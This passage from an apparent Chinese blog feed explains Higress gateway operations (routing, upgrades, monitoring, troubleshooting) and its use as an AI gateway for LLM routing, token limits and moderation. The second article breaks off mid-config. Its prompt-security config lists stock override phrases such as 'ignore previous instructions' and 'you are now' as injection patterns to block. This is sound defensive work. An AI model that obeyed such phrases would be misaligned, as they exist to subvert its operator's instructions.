&lt;td&gt;域名、路径、Header 路由规则&lt;/td&gt;
&lt;td&gt;Ingress / HTTPRoute&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;服务来源&lt;/td&gt;
&lt;td&gt;服务发现配置&lt;/td&gt;
&lt;td&gt;McpBridge&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;插件市场&lt;/td&gt;
&lt;td&gt;Wasm 插件浏览、安装、配置&lt;/td&gt;
&lt;td&gt;WasmPlugin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;策略配置&lt;/td&gt;
&lt;td&gt;限流、熔断、重试、超时、CORS&lt;/td&gt;
&lt;td&gt;Ingress Annotations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;监控告警&lt;/td&gt;
&lt;td&gt;Prometheus/Grafana 集成&lt;/td&gt;
&lt;td&gt;ConfigMap&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;系统设置&lt;/td&gt;
&lt;td&gt;用户管理、权限、全局配置&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;路由管理&lt;/h2&gt;
&lt;h3&gt;创建路由（Console UI）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. 登录 Console → 路由管理 → 创建路由
2. 填写基本信息：
   - 路由名称：api-route
   - 域名：api.example.com
   - 路径：/api/*
   - 路径类型：Prefix
3. 配置后端服务：
   - 服务来源：K8s Service
   - 服务名称：api-service
   - 端口：8080
4. 高级配置（可选）：
   - 超时：30s
   - 重试：3 次
   - 限流：1000 QPS
5. 保存 → 测试
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;等价 YAML&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-route
  namespace: default
  annotations:
    higress.io/request-timeout: &quot;30s&quot;
    higress.io/retry-count: &quot;3&quot;
    higress.io/limit-rps: &quot;1000&quot;
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-service
                port:
                  number: 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;服务来源管理&lt;/h2&gt;
&lt;h3&gt;添加 Nacos 服务来源&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. Console → 服务来源 → 创建服务来源
2. 填写：
   - 名称：nacos-prod
   - 类型：Nacos
   - 服务器地址：nacos.nacos.svc.cluster.local:8848
   - 命名空间：prod
   - 分组：DEFAULT_GROUP
   - 用户名/密码：nacos/nacos
3. 保存 → 验证连接
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;等价 YAML&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: nacos-prod
  namespace: higress-system
spec:
  registries:
    - name: nacos-prod
      type: nacos
      nacosServer: nacos.nacos.svc.cluster.local:8848
      nacosNamespaceId: prod
      nacosGroups: [DEFAULT_GROUP]
      nacosUsername: nacos
      nacosPassword: nacos
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;插件管理&lt;/h2&gt;
&lt;h3&gt;安装插件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. Console → 插件市场 → 浏览可用插件
2. 选择插件（如：jwt-auth）→ 点击安装
3. 填写配置：
   - 镜像地址：oci://registry.example.com/plugins/jwt-auth:v1
   - 执行阶段：AUTHN
   - 优先级：1000
   - 插件配置（JSON）：
     {
       &quot;issuer&quot;: &quot;https://auth.example.com&quot;,
       &quot;jwks_uri&quot;: &quot;https://auth.example.com/.well-known/jwks.json&quot;
     }
4. 选择生效范围：
   - 全局
   - 指定域名
   - 指定路由
5. 保存 → 验证插件状态
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;查看插件日志&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Console 中查看
插件管理 → 选择插件 → 日志标签页

# 命令行查看
kubectl logs -n higress-system deploy/higress-gateway | grep jwt-auth
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;版本升级&lt;/h2&gt;
&lt;h3&gt;Helm 升级&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 查看当前版本
helm list -n higress-system

# 2. 备份配置（重要！）
kubectl get ingress,wasmplugin,mcpbridge -A -o yaml &amp;gt; higress-backup.yaml

# 3. 查看可用版本
helm search repo higress --versions

# 4. 升级（滚动更新）
helm upgrade higress higress/higress \
  -n higress-system \
  --version 2.x.x \
  --reuse-values

# 5. 验证升级
kubectl get pods -n higress-system
kubectl rollout status deploy/higress-gateway -n higress-system

# 6. 测试核心路由
curl -H &quot;Host: api.example.com&quot; http://&amp;lt;gateway-ip&amp;gt;/api/health
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;升级注意事项&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;✅ 推荐做法：
1. 先在测试环境验证
2. 备份所有 CRD 配置
3. 使用 --reuse-values 保留自定义配置
4. 滚动升级（默认），避免中断
5. 升级后立即测试核心路由

❌ 避免做法：
1. 直接升级生产环境（未测试）
2. 删除 PVC（丢失配置）
3. 同时升级多个组件（Controller + Gateway + Console）
4. 忽略版本兼容性（K8s 版本、Istio 版本）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;回滚&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 查看历史版本
helm history higress -n higress-system

# 回滚到指定版本
helm rollback higress &amp;lt;REVISION&amp;gt; -n higress-system

# 验证回滚
kubectl get pods -n higress-system
curl http://&amp;lt;gateway-ip&amp;gt;/api/health
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;监控告警&lt;/h2&gt;
&lt;h3&gt;Grafana Dashboard&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 导入 Higress Dashboard
# Grafana → Import → 输入 Dashboard ID（或上传 JSON）
# 官方 Dashboard：https://github.com/alibaba/higress/tree/main/grafana

# 2. 关键面板
# - 总览：QPS、P99 延迟、错误率
# - 路由分析：按路由分组的 QPS/延迟
# - 上游服务：上游延迟、错误、连接数
# - 资源使用：CPU、内存、连接数
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;告警规则&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# PrometheusRule
apiVersion: monitoring.coreos.com/v1
kind: PrometheusRule
metadata:
  name: higress-alerts
  namespace: monitoring
spec:
  groups:
    - name: higress
      rules:
        # 高错误率
        - alert: HigressHighErrorRate
          expr: |
            sum(rate(envoy_http_downstream_rq_5xx[5m])) 
            / 
            sum(rate(envoy_http_downstream_rq_total[5m])) &amp;gt; 0.05
          for: 2m
          labels:
            severity: critical
          annotations:
            summary: &quot;Higress 错误率超过 5%&quot;
        
        # 高延迟
        - alert: HigressHighLatency
          expr: |
            histogram_quantile(0.99, 
              rate(envoy_http_downstream_rq_time_bucket[5m])
            ) &amp;gt; 1000
          for: 5m
          labels:
            severity: warning
          annotations:
            summary: &quot;Higress P99 延迟超过 1s&quot;
        
        # 上游不可用
        - alert: HigressUpstreamDown
          expr: envoy_cluster_upstream_cx_active == 0
          for: 1m
          labels:
            severity: critical
        
        # Pod 重启
        - alert: HigressPodRestart
          expr: |
            increase(kube_pod_container_status_restarts_total{
              pod=~&quot;higress-.*&quot;, namespace=&quot;higress-system&quot;
            }[1h]) &amp;gt; 3
          for: 5m
          labels:
            severity: warning
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;故障排查&lt;/h2&gt;
&lt;h3&gt;排查流程&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;问题现象
   ↓
1. 检查 Pod 状态
   kubectl get pods -n higress-system
   ↓
2. 查看日志
   kubectl logs -n higress-system deploy/higress-gateway --tail=100
   kubectl logs -n higress-system deploy/higress-controller --tail=100
   ↓
3. 检查配置
   kubectl get ingress,wasmplugin,mcpbridge -A
   kubectl describe ingress &amp;lt;name&amp;gt;
   ↓
4. 检查 Envoy 配置
   kubectl exec -n higress-system deploy/higress-gateway -- \
     curl -s localhost:15000/config_dump
   ↓
5. 检查上游服务
   kubectl get endpoints &amp;lt;service-name&amp;gt;
   curl http://&amp;lt;pod-ip&amp;gt;:&amp;lt;port&amp;gt;/health
   ↓
6. 网络连通性
   kubectl exec -n higress-system deploy/higress-gateway -- \
     curl -v http://&amp;lt;upstream-service&amp;gt;:&amp;lt;port&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;常见问题速查&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;问题&lt;/th&gt;
&lt;th&gt;可能原因&lt;/th&gt;
&lt;th&gt;排查命令&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;502 Bad Gateway&lt;/td&gt;
&lt;td&gt;上游服务不可用&lt;/td&gt;
&lt;td&gt;&lt;code&gt;kubectl get endpoints&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;503 Service Unavailable&lt;/td&gt;
&lt;td&gt;熔断触发 / 无健康实例&lt;/td&gt;
&lt;td&gt;&lt;code&gt;curl localhost:15000/clusters&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;504 Gateway Timeout&lt;/td&gt;
&lt;td&gt;上游超时&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;request-timeout&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;404 Not Found&lt;/td&gt;
&lt;td&gt;路由不匹配&lt;/td&gt;
&lt;td&gt;&lt;code&gt;kubectl get ingress -o yaml&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;401 Unauthorized&lt;/td&gt;
&lt;td&gt;JWT 认证失败&lt;/td&gt;
&lt;td&gt;查看 Gateway 日志&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;429 Too Many Requests&lt;/td&gt;
&lt;td&gt;限流触发&lt;/td&gt;
&lt;td&gt;检查限流配置&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pod CrashLoopBackOff&lt;/td&gt;
&lt;td&gt;配置错误 / 镜像拉取失败&lt;/td&gt;
&lt;td&gt;&lt;code&gt;kubectl describe pod&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;调试工具&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. Envoy Admin API
kubectl exec -n higress-system deploy/higress-gateway -- \
  curl -s localhost:15000/help

# 常用端点：
# /config_dump    - 完整配置
# /clusters        - 上游集群状态
# /stats          - 指标统计
# /logging        - 日志级别调整

# 2. 调整日志级别（调试用）
kubectl exec -n higress-system deploy/higress-gateway -- \
  curl -X POST &quot;localhost:15000/logging?level=debug&quot;

# 3. 查看路由匹配
kubectl exec -n higress-system deploy/higress-gateway -- \
  curl -s localhost:15000/config_dump | jq &apos;.configs[] | select(.[&quot;@type&quot;]==&quot;type.googleapis.com/envoy.admin.v3.RoutesConfigDump&quot;)&apos;

# 4. 查看 Wasm 插件状态
kubectl exec -n higress-system deploy/higress-gateway -- \
  curl -s localhost:15000/config_dump | jq &apos;.configs[] | select(.[&quot;@type&quot;]==&quot;type.googleapis.com/envoy.admin.v3.EcdsConfigDump&quot;)&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;日常运维&lt;/h2&gt;
&lt;h3&gt;配置备份&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 备份所有 Higress 配置
kubectl get ingress,wasmplugin,mcpbridge,configmap -A -o yaml &amp;gt; higress-backup-$(date +%Y%m%d).yaml

# 定时备份（CronJob）
apiVersion: batch/v1
kind: CronJob
metadata:
  name: higress-backup
  namespace: higress-system
spec:
  schedule: &quot;0 2 * * *&quot;    # 每天凌晨 2 点
  jobTemplate:
    spec:
      template:
        spec:
          containers:
            - name: backup
              image: bitnami/kubectl:latest
              command:
                - /bin/sh
                - -c
                - |
                  kubectl get ingress,wasmplugin,mcpbridge -A -o yaml &amp;gt; /backup/higress-$(date +%Y%m%d).yaml
              volumeMounts:
                - name: backup-volume
                  mountPath: /backup
          volumes:
            - name: backup-volume
              persistentVolumeClaim:
                claimName: higress-backup-pvc
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;配置审计&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 查看配置变更历史
kubectl get ingress -A -o custom-columns=NAME:.metadata.name,NAMESPACE:.metadata.namespace,UPDATED:.metadata.generation

# 使用 GitOps（ArgoCD/Flux）管理配置
# 所有 CRD 提交到 Git，自动同步到集群
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;容量规划&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 查看当前资源使用
kubectl top pods -n higress-system

# 根据 QPS 调整副本数
# 经验值：单 Pod 可处理 ~5000 QPS（取决于配置复杂度）
kubectl scale deploy/higress-gateway -n higress-system --replicas=4

# 调整资源限制
kubectl edit deploy/higress-gateway -n higress-system
# resources:
#   requests: { cpu: 1000m, memory: 1Gi }
#   limits: { cpu: 4000m, memory: 4Gi }
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;快速复习清单&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Console 访问&lt;/strong&gt;：port-forward 8001 或通过 Ingress 暴露，默认 admin/admin&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;路由管理&lt;/strong&gt;：Console UI 配置等价于 Ingress/HTTPRoute CRD&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;服务来源&lt;/strong&gt;：Console 添加 McpBridge，支持 K8s/Nacos/Consul/DNS/静态&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;插件管理&lt;/strong&gt;：Console 安装 WasmPlugin，配置生效范围（全局/域名/路由）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;版本升级&lt;/strong&gt;：&lt;code&gt;helm upgrade --reuse-values&lt;/code&gt;，先备份配置，滚动升级&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;监控告警&lt;/strong&gt;：Grafana Dashboard + PrometheusRule（错误率/延迟/上游不可用）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;故障排查&lt;/strong&gt;：Pod 状态 → 日志 → 配置 → Envoy Admin API → 上游服务&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;日常运维&lt;/strong&gt;：配置备份（CronJob）、GitOps 审计、容量规划&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/higress-roadmap-13-comparison/&quot;&gt;网关选型对比&lt;/a&gt; 将对比 Higress vs APISIX vs Kong vs Spring Cloud Gateway vs Nginx，帮助你做技术选型。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/higress-roadmap-00-overview/&quot;&gt;Higress 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/higress-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Higress AI 网关</title><link>http://117.72.32.87/blog/posts/higress-roadmap-11-ai-gateway/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/higress-roadmap-11-ai-gateway/</guid><description>详解 Higress 在 AI/LLM 场景的应用：多模型路由、Token 限流、Prompt 改写、内容审核、流式响应处理。</description><pubDate>Thu, 17 Sep 2026 07:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
Higress 2024+ 重点发力 AI 网关场景，提供 LLM 代理、Token 限流、Prompt 改写、多模型路由等能力，是构建 AI 应用基础设施的理想选择。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;AI 网关的价值&lt;/h2&gt;
&lt;h3&gt;传统 API 网关 vs AI 网关&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;传统 API 网关&lt;/th&gt;
&lt;th&gt;AI 网关&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;计量单位&lt;/td&gt;
&lt;td&gt;QPS / 带宽&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Token&lt;/strong&gt;（输入+输出）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;响应模式&lt;/td&gt;
&lt;td&gt;请求-响应&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;流式&lt;/strong&gt;（SSE/Streaming）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;内容处理&lt;/td&gt;
&lt;td&gt;透传&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Prompt 改写 / 内容审核&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;路由策略&lt;/td&gt;
&lt;td&gt;路径/Header&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;模型能力 / 成本 / 延迟&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;安全关注&lt;/td&gt;
&lt;td&gt;SQL 注入/XSS&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Prompt 注入 / 敏感内容&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;成本模型&lt;/td&gt;
&lt;td&gt;固定&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;按 Token 计费&lt;/strong&gt;（差异大）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;AI 网关核心能力&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────────────────────┐
│                 AI 网关能力                       │
├──────────────┬──────────────────────────────────┤
│ 多模型路由   │ GPT-4 / Claude / 通义 / 文心 / 本地 │
│ Token 限流   │ 按用户/API Key/应用配额            │
│ Prompt 改写  │ 系统提示词注入、模板填充           │
│ 内容审核     │ 输入/输出敏感内容过滤              │
│ 流式处理     │ SSE 流式响应、首字节延迟优化       │
│ 成本统计     │ Token 消耗、费用计算               │
│ 缓存         │ 语义缓存（相似问题复用答案）       │
│ 降级         │ 主模型故障时自动切换备用模型       │
└──────────────┴──────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;多模型路由&lt;/h2&gt;
&lt;h3&gt;配置多个 LLM 后端&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# McpBridge 配置多个 LLM 服务
apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: llm-services
  namespace: higress-system
spec:
  registries:
    # OpenAI
    - name: openai
      type: dns
      domain: api.openai.com
      port: 443
      protocol: https
    
    # Anthropic Claude
    - name: anthropic
      type: dns
      domain: api.anthropic.com
      port: 443
      protocol: https
    
    # 阿里通义千问
    - name: dashscope
      type: dns
      domain: dashscope.aliyuncs.com
      port: 443
      protocol: https
    
    # 本地部署（vLLM/Ollama）
    - name: local-llm
      type: static
      staticServers:
        - address: 10.0.0.100:8000
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;按路由分发到不同模型&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# GPT-4 路由（高复杂度任务）
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: llm-gpt4
  annotations:
    higress.io/destination: &quot;openai.dns&quot;
    higress.io/upstream-vhost: &quot;api.openai.com&quot;
    higress.io/request-header-authorization: &quot;Bearer sk-xxx&quot;
spec:
  ingressClassName: higress
  rules:
    - host: ai.example.com
      http:
        paths:
          - path: /v1/chat/gpt4
            pathType: Prefix
            backend:
              resource:
                apiGroup: networking.higress.io
                kind: McpBridge
                name: llm-services

---
# Claude 路由（代码任务）
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: llm-claude
  annotations:
    higress.io/destination: &quot;anthropic.dns&quot;
    higress.io/upstream-vhost: &quot;api.anthropic.com&quot;
    higress.io/request-header-x-api-key: &quot;sk-ant-xxx&quot;
spec:
  ingressClassName: higress
  rules:
    - host: ai.example.com
      http:
        paths:
          - path: /v1/chat/claude
            pathType: Prefix
            backend:
              resource:
                apiGroup: networking.higress.io
                kind: McpBridge
                name: llm-services

---
# 通义千问路由（中文任务，成本低）
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: llm-qwen
  annotations:
    higress.io/destination: &quot;dashscope.dns&quot;
    higress.io/upstream-vhost: &quot;dashscope.aliyuncs.com&quot;
spec:
  ingressClassName: higress
  rules:
    - host: ai.example.com
      http:
        paths:
          - path: /v1/chat/qwen
            pathType: Prefix
            backend:
              resource:
                apiGroup: networking.higress.io
                kind: McpBridge
                name: llm-services
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;智能路由（按任务类型）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Wasm 插件实现智能路由
apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: llm-router
spec:
  url: oci://registry.example.com/plugins/llm-router:v1
  defaultConfig:
    routes:
      - match:
          header: X-Task-Type
          value: &quot;code&quot;
        target: &quot;anthropic.dns&quot;    # Claude 擅长代码
      - match:
          header: X-Task-Type
          value: &quot;chinese&quot;
        target: &quot;dashscope.dns&quot;    # 通义擅长中文
      - match:
          header: X-Task-Type
          value: &quot;complex&quot;
        target: &quot;openai.dns&quot;       # GPT-4 复杂推理
      - default: true
        target: &quot;local-llm&quot;        # 默认本地模型（成本低）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Token 限流&lt;/h2&gt;
&lt;h3&gt;为什么需要 Token 限流&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;传统限流：100 QPS（每个请求成本相同）
AI 限流：100 QPS 但每个请求 Token 消耗差异巨大

示例：
- 请求 A：&quot;你好&quot; → 10 tokens
- 请求 B：&quot;写一篇 5000 字论文&quot; → 5000 tokens

如果只限 QPS，请求 B 的成本是请求 A 的 500 倍！
必须按 Token 限流。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Token 限流插件配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: token-rate-limit
spec:
  url: oci://registry.example.com/plugins/token-rate-limit:v1
  phase: UNSPECIFIED_PHASE
  priority: 900
  defaultConfig:
    redis_cluster: &quot;outbound|6379||redis.redis.svc.cluster.local&quot;
    
    # 按用户 Token 配额
    rules:
      - name: &quot;free-tier&quot;
        match:
          header: X-User-Tier
          value: &quot;free&quot;
        limit:
          input_tokens: 10000       # 每天 1 万输入 Token
          output_tokens: 5000       # 每天 5 千输出 Token
          total_tokens: 15000
          window: 86400             # 24 小时
      
      - name: &quot;pro-tier&quot;
        match:
          header: X-User-Tier
          value: &quot;pro&quot;
        limit:
          input_tokens: 1000000
          output_tokens: 500000
          total_tokens: 1500000
          window: 86400
      
      - name: &quot;enterprise&quot;
        match:
          header: X-User-Tier
          value: &quot;enterprise&quot;
        limit:
          input_tokens: 100000000
          output_tokens: 50000000
          window: 86400
    
    # 按模型成本加权
    model_weights:
      gpt-4: 30          # GPT-4 每 Token 成本是基准的 30 倍
      gpt-3.5-turbo: 1
      claude-3-opus: 25
      claude-3-sonnet: 5
      qwen-max: 3
      qwen-turbo: 1
    
    # 超限响应
    rejected_code: 429
    rejected_body: |
      {
        &quot;error&quot;: &quot;token_limit_exceeded&quot;,
        &quot;message&quot;: &quot;Your daily token quota has been exceeded&quot;,
        &quot;upgrade_url&quot;: &quot;https://example.com/upgrade&quot;
      }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Token 计算逻辑&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Wasm 插件中计算 Token（伪代码）
func calculateTokens(body []byte, model string) (inputTokens, outputTokens int) {
	// 1. 解析请求 Body
	var req map[string]interface{}
	json.Unmarshal(body, &amp;amp;req)
	
	// 2. 计算输入 Token
	messages := req[&quot;messages&quot;].([]interface{})
	for _, msg := range messages {
		content := msg.(map[string]interface{})[&quot;content&quot;].(string)
		// 使用 tiktoken 或近似算法
		inputTokens += estimateTokens(content)
	}
	
	// 3. 输出 Token（从响应中获取，或预估）
	// 流式响应需要累计 chunk 中的 token
	
	// 4. 按模型权重加权
	weight := modelWeights[model]
	inputTokens = inputTokens * weight
	outputTokens = outputTokens * weight
	
	return
}

// 近似 Token 估算（英文 ~4 chars/token，中文 ~1.5 chars/token）
func estimateTokens(text string) int {
	// 简化实现，实际应该用 tiktoken
	return len(text) / 3
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Prompt 改写&lt;/h2&gt;
&lt;h3&gt;系统提示词注入&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: prompt-injector
spec:
  url: oci://registry.example.com/plugins/prompt-injector:v1
  defaultConfig:
    # 按路由注入系统提示词
    rules:
      - match:
          path_prefix: &quot;/v1/chat/customer-service&quot;
        inject:
          role: &quot;system&quot;
          content: |
            你是一个专业的客服助手。请遵循以下规则：
            1. 始终保持礼貌和专业
            2. 不要透露内部信息
            3. 如果不确定，引导用户联系人工客服
            4. 回答控制在 200 字以内
      
      - match:
          path_prefix: &quot;/v1/chat/code-review&quot;
        inject:
          role: &quot;system&quot;
          content: |
            你是一个资深代码审查专家。请：
            1. 指出代码中的 bug 和安全隐患
            2. 提供改进建议
            3. 遵循 SOLID 原则
            4. 给出具体的代码示例
      
      - match:
          path_prefix: &quot;/v1/chat/translation&quot;
        inject:
          role: &quot;system&quot;
          content: |
            你是专业翻译。请：
            1. 保持原文语义
            2. 符合目标语言表达习惯
            3. 专业术语准确
            4. 只输出翻译结果，不要解释
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Prompt 模板填充&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;defaultConfig:
  templates:
    - name: &quot;sql-generator&quot;
      match:
        header: X-Task-Type
        value: &quot;sql&quot;
      template: |
        你是一个 SQL 专家。根据以下需求生成 SQL：
        
        数据库 Schema：
        {{schema}}
        
        用户需求：
        {{user_input}}
        
        要求：
        1. 使用标准 SQL 语法
        2. 考虑性能（索引、JOIN 优化）
        3. 添加注释说明
        4. 只输出 SQL，不要解释
      
      variables:
        schema:
          from: &quot;header&quot;
          key: &quot;X-DB-Schema&quot;
        user_input:
          from: &quot;body&quot;
          path: &quot;messages[-1].content&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Prompt 安全检查&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;defaultConfig:
  # Prompt 注入检测
  injection_detection:
    enabled: true
    patterns:
      - &quot;ignore previous instructions&quot;
      - &quot;ignore all previous&quot;
      - &quot;disregard.*instructions&quot;
      - &quot;system prompt&quot;
      - &quot;you are now&quot;
      - &quot;new instructions&quot;
    action: &quot;block&quot;       # block / log / sanitize
  
  # 敏感话题过滤
  topic_filter:
    enabled: true
    blocked_topics:
      - &quot;violence&quot;
      - &quot;illegal&quot;
      - &quot;harmful&quot;
    action: &quot;block&quot;
  
  # 输出长度限制
  max_output_tokens: 4096
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;内容审核&lt;/h2&gt;
&lt;h3&gt;输入审核（用户 Prompt）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: content-moderation
spec:
  url: oci://registry.example.com/plugins/content-moderation:v1
  defaultConfig:
    # 输入审核
    input_moderation:
      enabled: true
      # 调用外部审核服务
      provider: &quot;aliyun-green&quot;    # 阿里云内容安全
      endpoint: &quot;green.cn-shanghai.aliyuncs.com&quot;
      access_key: &quot;${ALIYUN_AK}&quot;
      access_secret: &quot;${ALIYUN_SK}&quot;
      
      # 审核维度
      scenes:
        - &quot;porn&quot;          # 色情
        - &quot;terrorism&quot;     # 暴恐
        - &quot;ad&quot;            # 广告
        - &quot;live&quot;          # 不良场景
        - &quot;logo&quot;          # 特殊标识
      
      # 处理策略
      action_on_block: &quot;reject&quot;     # reject / sanitize / log
      action_on_review: &quot;pass&quot;      # pass / reject
  
  # 输出审核（LLM 响应）
  output_moderation:
    enabled: true
    provider: &quot;aliyun-green&quot;
    # 流式响应需要缓冲后审核
    stream_buffer_size: 1024        # 每 1KB 审核一次
    action_on_block: &quot;truncate&quot;     # truncate / replace / reject
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;自定义审核规则&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;defaultConfig:
  custom_rules:
    # 关键词过滤
    - name: &quot;sensitive-words&quot;
      type: &quot;keyword&quot;
      keywords:
